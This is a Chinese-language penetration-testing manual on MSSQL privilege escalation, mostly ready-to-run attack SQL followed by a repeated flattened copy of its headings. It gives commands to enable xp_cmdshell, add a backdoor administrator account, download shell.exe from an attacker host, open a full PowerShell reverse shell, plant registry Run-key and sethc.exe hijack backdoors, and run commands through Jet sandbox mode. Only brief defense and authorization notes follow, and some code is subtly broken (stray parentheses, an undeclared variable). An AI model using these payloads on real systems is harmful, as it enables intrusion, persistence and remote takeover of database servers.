MSSQL数据库渗透测试及漏洞复现
字数 777 2025-08-09 18:44:06

MSSQL数据库渗透测试及漏洞复现技术手册

一、MSSQL提权技术概述

MSSQL数据库提供了多种系统存储过程和扩展存储过程,这些功能在渗透测试中常被用于提权和获取系统shell。主要技术包括:

  1. xp_cmdshell - 执行系统命令
  2. xp_regwrite/xp_regread - 注册表读写操作
  3. sp_oacreate/sp_oamethod - OLE自动化过程执行命令
  4. 沙盒提权技术

二、xp_cmdshell利用详解

1. 启用xp_cmdshell

默认情况下xp_cmdshell是禁用的,需要先启用:

-- 方法1:直接启用
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 方法2:如果权限不足,尝试使用以下语句
EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';

2. 基本命令执行

-- 执行系统命令
EXEC master..xp_cmdshell 'whoami';

-- 获取系统信息
EXEC master..xp_cmdshell 'systeminfo';

-- 创建用户
EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';

3. 文件操作

-- 写入文件
EXEC master..xp_cmdshell 'echo test > C:\test.txt';

-- 读取文件
EXEC master..xp_cmdshell 'type C:\windows\win.ini';

-- 下载文件
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe';

4. 反弹shell

-- 使用powershell反弹
EXEC master..xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker_ip'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

三、注册表操作技术

1. xp_regwrite利用

-- 检查注册表键值是否存在
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName';

-- 写入注册表键值
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor', 'REG_SZ', 'C:\shell.exe';

-- 映像劫持示例
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger', 'REG_SZ', 'C:\Windows\System32\cmd.exe';

2. xp_regdeletekey/xp_regdeletevalue

-- 删除注册表键值
EXEC xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor';

-- 删除注册表键
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\TestKey';

四、OLE自动化过程利用

1. sp_oacreate/sp_oamethod基础

-- 启用OLE自动化
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

-- 执行命令(无回显)
DECLARE @shell INT;
EXEC sp_oacreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';

2. 文件下载实现

-- 使用MSXML2.XMLHTTP下载文件
DECLARE @o INT, @hr INT, @url VARCHAR(255), @file VARCHAR(255);
SET @url = 'http://attacker.com/shell.exe';
SET @file = 'C:\shell.exe';

EXEC @hr = sp_oacreate 'MSXML2.XMLHTTP', @o OUT;
IF @hr <> 0 BEGIN
    EXEC sp_oageterrorinfo @o;
    RETURN;
END

EXEC @hr = sp_oamethod @o, 'open', NULL, 'GET', @url, 'false';
EXEC @hr = sp_oamethod @o, 'send';
EXEC @hr = sp_oamethod @o, 'responseBody', @responseBody OUT;

DECLARE @fs INT, @fileStream INT;
EXEC @hr = sp_oacreate 'ADODB.Stream', @fs OUT;
EXEC @hr = sp_oamethod @fs, 'Open');
EXEC @hr = sp_oamethod @fs, 'Write', NULL, @responseBody;
EXEC @hr = sp_oamethod @fs, 'SaveToFile', NULL, @file, 2;
EXEC @hr = sp_oamethod @fs, 'Close');
EXEC @hr = sp_oadestroy @fs;
EXEC @hr = sp_oadestroy @o;

五、沙盒提权技术

1. 沙盒模式提权条件

  • 需要数据库管理员权限
  • 需要启用Ad Hoc Distributed Queries
  • 目标系统安装了Jet.OLEDB驱动

2. 实施步骤

-- 启用Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

-- 修改注册表设置沙盒模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

-- 执行系统命令
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',';Database=ias\ias.mdb','shell("cmd.exe /c whoami > C:\output.txt")');

六、防御措施

1. 禁用危险存储过程

-- 禁用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

-- 禁用OLE自动化
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;

2. 权限最小化原则

  • 避免使用sa账户运行应用程序
  • 为应用程序分配最小必要权限
  • 定期审计数据库账户权限

3. 其他安全措施

  • 启用SQL Server审计功能
  • 定期更新SQL Server补丁
  • 限制网络访问,仅允许必要IP连接

七、渗透测试注意事项

  1. 测试前确保获得合法授权
  2. 避免使用破坏性命令(如删除文件、格式化等)
  3. 测试完成后恢复所有修改
  4. 记录详细的操作步骤和结果
  5. 提供完整的安全评估报告

本手册详细介绍了MSSQL数据库渗透测试中的常见提权技术,实际应用中需要根据目标环境灵活组合使用这些方法。

MSSQL数据库渗透测试及漏洞复现技术手册 一、MSSQL提权技术概述 MSSQL数据库提供了多种系统存储过程和扩展存储过程,这些功能在渗透测试中常被用于提权和获取系统shell。主要技术包括: xp_ cmdshell - 执行系统命令 xp_ regwrite/xp_ regread - 注册表读写操作 sp_ oacreate/sp_ oamethod - OLE自动化过程执行命令 沙盒提权技术 二、xp_ cmdshell利用详解 1. 启用xp_ cmdshell 默认情况下xp_ cmdshell是禁用的,需要先启用: 2. 基本命令执行 3. 文件操作 4. 反弹shell 三、注册表操作技术 1. xp_ regwrite利用 2. xp_ regdeletekey/xp_ regdeletevalue 四、OLE自动化过程利用 1. sp_ oacreate/sp_ oamethod基础 2. 文件下载实现 五、沙盒提权技术 1. 沙盒模式提权条件 需要数据库管理员权限 需要启用Ad Hoc Distributed Queries 目标系统安装了Jet.OLEDB驱动 2. 实施步骤 六、防御措施 1. 禁用危险存储过程 2. 权限最小化原则 避免使用sa账户运行应用程序 为应用程序分配最小必要权限 定期审计数据库账户权限 3. 其他安全措施 启用SQL Server审计功能 定期更新SQL Server补丁 限制网络访问,仅允许必要IP连接 七、渗透测试注意事项 测试前确保获得合法授权 避免使用破坏性命令(如删除文件、格式化等) 测试完成后恢复所有修改 记录详细的操作步骤和结果 提供完整的安全评估报告 本手册详细介绍了MSSQL数据库渗透测试中的常见提权技术,实际应用中需要根据目标环境灵活组合使用这些方法。